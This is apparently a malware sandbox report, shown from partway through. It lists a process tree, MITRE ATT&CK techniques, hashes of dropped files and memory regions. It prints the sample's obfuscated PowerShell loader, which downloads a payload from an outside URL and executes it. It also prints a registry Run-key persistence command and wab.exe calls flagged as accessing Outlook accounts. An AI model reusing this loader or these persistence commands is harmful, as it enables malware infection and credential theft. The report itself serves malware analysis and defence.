o,/ 2U0 1T0u0S1A0N1. SF.i.rme f,o xD/ 1M2F1 .,0 ';$belieffulness=Alert ' U sHeFr.-TAtg eTnGtP ';$Bestemmelsesstedets=Alert ' hKt.t pHs : / / e.v,oMl.uBxGcFoTnWt.aEbSi.l iFd aEd e .,cKo ml. b rO/.x l oKaAd /FRPuHm nSe r . xot pT ';$Voldtog=Alert 'K>N ';$Dragemanden=Alert ' iGecx, ';$Sydvestenvinds='Afdelingsingenirs183';$Anglisterne = Alert ' eAcAh o %QaVpSpEdKa tGaP%o\BbCeElSe m nPo.iSdBeMaI.OF o,s, ,& & PeDc hPod t ';Xylografien (Alert 'D$ gKl oTbBa lS: FTo r r.eBtAn i,nUg sIocmIr,aUaFdBefr =B( c.mDd. / cB ,$AA nCg l,itsKt e,r nDe ) ');Xylografien (Alert '.$bg.lCo,b aKlQ:HBJe,rBtHo.lKo nDi.a =G$ B e s t,e mKm eKlSs eCsHsSt eOd,e tBs,. sUpSlNi tP(R$,V o.l d tEo gU)R ');Xylografien (Alert ' [ NOe tZ.LS eIr.vBiAc.eSP oCi,n tcMoa.n.aagIeer ]P:D:,S ePc u.rSiot.y PfrPo tFo c,o lB C=, B[HN e t..ESBe cSuSrFiStkyBPjr,o,t.o,cRo lUT y.p,eA] : :DT.lFsM1 2. ');$Bestemmelsesstedets=$Bertolonia[0];$Ghoulishness= (Alert 'S$LgPlUoRb.a.l.:AS.kMo v hSyPt t eSn 9.8.= NUe.wR- O.bAjTeBc t, S y sBt,ePm . NAeTt . WLe b C l.i eKnPt');$Ghoulishness+=$Forretningsomraader[1];Xylografien ($Ghoulishness);Xylografien (Alert '.$ STk o v.hBy t.tKe nS9.8U..HFeHa d ePrBsG[G$DbCe,l.iSe fMf,uLl nHeAsHs.].= $ Cpi g a.lSeS ');$Jacuaru=Alert 'S$ S,kBo vTh,yFt.t eUn,9 8F.UD,o.wfnNl.o,afdTF.iRl,e (C$RBTeAsVtLe m,mTeDl s e sosst eKdBe.tBs ,D$KC iTtTrmoUnNsAo m,m e,r fGuSgElMe n sI). ';$Citronsommerfuglens=$Forretningsomraader[0];Xylografien (Alert ' $SgUl,o b a.l : L,aTv.eInGdUe lSeTn =B(MT e sAtO-IPVa.tIhB B$FCBiPtSr oHngsBoSmIm.ePrPfLuFg.l.ePn sG) ');while (!$Lavendelen) {Xylografien (Alert ' $tg l,oCb,aOl :,DSuPbbl,eJe.r n eR= $NtDrSureF ') ;Xylografien $Jacuaru;Xylografien (Alert ' S tPaMrKtN- SBl e e ps ,4. ');Xylografien (Alert 'C$Dg.l oEb a lH: LPaDv eTn dieGl eOnd=P(.TOe sDtP- P.aStph B$FCFi t rDo.nUs,okmCm ePrPfYugg lAe,n sS)U ') ;Xylografien (Alert 'I$Gg.lboNbMa l :aAHn,dHr.oEcKrHa tOi.cO=A$Sg l oSb a lJ:kSCt,iAn ePsD+ +s%U$ BVeUrHtAo,l oDn,i a ..c oHu n tS ') ;$Bestemmelsesstedets=$Bertolonia[$Androcratic];}$Nonapprehensibility=372684;$Phytin=25966;Xylografien (Alert 'F$ gPl oSb a l :kD onr.t.eM1 0 3 R= FGBe tD-,C.oPnItJeLnFt. S$ C i tFr o nDsKoUm mFe r f.uBgul,eKn s ');Xylografien (Alert 'U$ gAl.oPb.aHl :HEGmFaKnscSi,pBaQtBe B=l [DSDyPsStDeSmH. CsoOnTvLeFr t,]N:B:.FSr,o,m,B a s.e,6u4RS.tNrsi,nagA(W$ DRo r t e 1H0 3S), ');Xylografien (Alert 'I$Bg lSoIbNaBl : L,iTeLnPeCcCtmoSmSiPeRsK =. .[SS yVs t,eIm..VTYe x tS. E,n c,o dIi n g ],:.: A,SOCNIPIM.BGAe,t SItHr i n g (,$UE mBa n cPiRp.aBtDeS)A ');Xylografien (Alert ' $ gPl.ombTaVl.:.SPk rov e b.e lSg nSiMn g e nF= $ L i.e,nae cEtPoSmPi eksA.GsCu b,s tCr i.nOgK(T$bNBoBnDaHpPp rPe hSe.n.sdiAb,i lMi tAy.,,$ PHh yVtBiLn )E ');Xylografien $Skrvebelgningen;"
        7⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3872
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\belemnoidea.Fos && echo t"
        8⤵
        
        PID:1440
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        8⤵
        
        PID:4876
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        8⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1668
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rollingerne" /t REG_EXPAND_SZ /d "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\overdeferential\').retoucheres;%Montuvio% ($Lkapsler)"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2360
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rollingerne" /t REG_EXPAND_SZ /d "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\overdeferential\').retoucheres;%Montuvio% ($Lkapsler)"
        10⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2868
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ujjoxee"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\elwzywpfjf"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:2168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\hfbrypahxnpysu"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09B406FB8A13DE24E07EA97DC21FE315

Filesize
504B

MD5
54f7b21b987ff67223fdaa7c0cdd060a

SHA1
5214dbfaa3bd708ee2e76fcfbb7fee5c9646fe6c

SHA256
ef9cefc4e41f3e8db8fd90028298a3b06283366d7f6d56035d53065ccd0cc28c

SHA512
4da044d89ffcbf1b8f8310d4900622baf030298a25eae281635571c8252df2c047cc655ca513f0971e4aa569bf1285d7cde17b00a6028e425a5232c12d506aa5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
717B

MD5
822467b728b7a66b081c91795373789a

SHA1
d8f2f02e1eef62485a9feffd59ce837511749865

SHA256
af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

SHA512
bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09B406FB8A13DE24E07EA97DC21FE315

Filesize
546B

MD5
6f11abb56e81b86ccde2b083712177da

SHA1
c2bed11927fecaab2445293169592392c989c565

SHA256
85cb7f5e408e57805c83dc16f676dac8e0c9338fb9d1d4b7e65d7e10d23df679

SHA512
d7ec6392b6eb634d03bfd672aa850ac6a28465aaaa815df50ea13b50c3abe89a9be4cba42c068c5a21e12073f61f5529dffb6438ed983475dc286a91ac927473

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
61365c6d8c4eb3df062be417f35206ba

SHA1
9131c8b7ecf15fff50de67473a3a27603f1d8fc4

SHA256
1863776300bb060a9c8098f4592d18d0bbbbc8916a302baff3940327ce620770

SHA512
4f782c4388e611106fbb685f3c362ef83e2c6e769b495f146d967db169b01622092172fc0aae8055d5b6206cab2370e71e4b250046b390a653e01d0f928ea229

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
60KB

MD5
76b52ccdb5682f80e9830a765e4f9604

SHA1
e0f063114a8463b5a6f44858738a7ffdc2fe9061

SHA256
2428d24df851b6e7b5cfa7a1d76e19e0f853ae0f63d95675d1e6d2f73685ee7e

SHA512
af544fcaf4702a619aeaa1534069fcfd82afd74402d6a58318ebd949ee47d55fc0043aa87a499864174e5cda1b47bd0ba0f90d441f974de1c50840b21a8fefad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8f16eb240c6168b41004cca7306484e6

SHA1
da34df40f9b1d5b0f9fd49bd1d467879fb40cb06

SHA256
48c69824555f42932cc2a1272a03be650dde58a10239ba282e9314ec13ed273a

SHA512
96c4a859b024e531124139c28bebd4d6f53de3ae7bc378ea3c7662452525d4020d1a76f851651174418cae620c340e8677516a3a70933b2ff2cce6a71a349063

Download Submit
C:\Users\Admin\AppData\Local\Temp\Poodle.vbs

Filesize
187KB

MD5
8cc6be5a2911ea3dc1a05c80e20ede55

SHA1
5a68267614fc4f21b949dc82def16adb1a2a7178

SHA256
7dfd8c4c8c675118ad9020c10d439d7037b6d9e8a37482f80ae821fed5b29824

SHA512
cc57268ceca2b9911b1672d18692dca2bfcb65052c8b945614f766e66ed849bf8f14aa9076f7478026144f89995c1552ac596153bde157349bcca880094a264a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_na51x01f.swt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ujjoxee

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Repset.Kbm

Filesize
506KB

MD5
03116708e93cfa36c93535d638ba367a

SHA1
dc7cc1dd01b70f9b6b20fdcf4e4d2a1f9c95aacc

SHA256
bd0734001fbf7acdd841f07540c22fa5655192603cf980a07d1689c437eff96f

SHA512
ae2783b050aca409369cbbe18be66658b272c663f3ac10e3906d158097c4d2871d3757f20e2e8f1675dc60e023f6a7b74b712a9ebc6653b1a8645c3b7c17a731

Download Submit
C:\Users\Admin\AppData\Roaming\belemnoidea.Fos

Filesize
519KB

MD5
9cc29e9c2f524984e4ea412888fad3ab

SHA1
a3d9571861e7f334d70d82eb0c46e10f5427358e

SHA256
6b8159ea57129f319affa7fa8ca8a74bb1e59894e7c269675df3f65b3c5e3887

SHA512
d5761c80074c464327e346f2c89daed8de0691cc7d60140648f94c3d45232c035cebde895234118480abf6cdad4e187fcfb5fdd393aace83a52df62b4a493396

Download Submit
memory/224-68-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/224-70-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/224-69-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/556-42-0x00007FFBA4FB0000-0x00007FFBA5A72000-memory.dmp

Filesize
10.8MB

Download
memory/556-15-0x00007FFBA4FB0000-0x00007FFBA5A72000-memory.dmp

Filesize
10.8MB

Download
memory/556-14-0x00007FFBA4FB0000-0x00007FFBA5A72000-memory.dmp

Filesize
10.8MB

Download
memory/556-16-0x00007FFBA4FB0000-0x00007FFBA5A72000-memory.dmp

Filesize
10.8MB

Download
memory/556-4-0x00007FFBA4FB3000-0x00007FFBA4FB5000-memory.dmp

Filesize
8KB

Download
memory/556-43-0x00007FFBA4FB3000-0x00007FFBA4FB5000-memory.dmp

Filesize
8KB

Download
memory/556-54-0x00007FFBA4FB0000-0x00007FFBA5A72000-memory.dmp

Filesize
10.8MB

Download
memory/556-13-0x00000294D8B80000-0x00000294D8BA2000-memory.dmp

Filesize
136KB

Download
memory/1424-92-0x0000000020860000-0x0000000020879000-memory.dmp

Filesize
100KB

Download
memory/1424-88-0x0000000020860000-0x0000000020879000-memory.dmp

Filesize
100KB

Download
memory/1424-91-0x0000000020860000-0x0000000020879000-memory.dmp

Filesize
100KB

Download
memory/1424-51-0x0000000002320000-0x0000000004611000-memory.dmp

Filesize
34.9MB

Download
memory/1584-33-0x0000000006570000-0x000000000658E000-memory.dmp

Filesize
120KB

Download
memory/1584-36-0x0000000006B00000-0x0000000006B1A000-memory.dmp

Filesize
104KB

Download
memory/1584-19-0x00000000050F0000-0x0000000005126000-memory.dmp

Filesize
216KB

Download
memory/1584-20-0x0000000005810000-0x0000000005E3A000-memory.dmp

Filesize
6.2MB

Download
memory/1584-21-0x00000000056D0000-0x00000000056F2000-memory.dmp

Filesize
136KB

Download
memory/1584-22-0x0000000005FD0000-0x0000000006036000-memory.dmp

Filesize
408KB

Download
memory/1584-23-0x0000000006040000-0x00000000060A6000-memory.dmp

Filesize
408KB

Download
memory/1584-41-0x0000000008DD0000-0x000000000B0C1000-memory.dmp

Filesize
34.9MB

Download
memory/1584-39-0x0000000008820000-0x0000000008DC6000-memory.dmp

Filesize
5.6MB

Download
memory/1584-32-0x00000000060B0000-0x0000000006407000-memory.dmp

Filesize
3.3MB

Download
memory/1584-38-0x00000000077E0000-0x0000000007802000-memory.dmp

Filesize
136KB

Download
memory/1584-34-0x00000000065B0000-0x00000000065FC000-memory.dmp

Filesize
304KB

Download
memory/1584-37-0x0000000007850000-0x00000000078E6000-memory.dmp

Filesize
600KB

Download
memory/1584-35-0x0000000007BF0000-0x000000000826A000-memory.dmp

Filesize
6.5MB

Download
memory/1668-114-0x00000000007C0000-0x0000000006305000-memory.dmp

Filesize
91.3MB

Download
memory/1668-124-0x00000000007C0000-0x0000000006305000-memory.dmp

Filesize
91.3MB

Download
memory/2168-71-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2168-66-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2168-64-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2212-85-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

Filesize
304KB

Download
memory/2212-83-0x00000000057F0000-0x0000000005B47000-memory.dmp

Filesize
3.3MB

Download
memory/3436-65-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3436-63-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3436-67-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3872-107-0x0000000008550000-0x000000000E095000-memory.dmp

Filesize
91.3MB

Download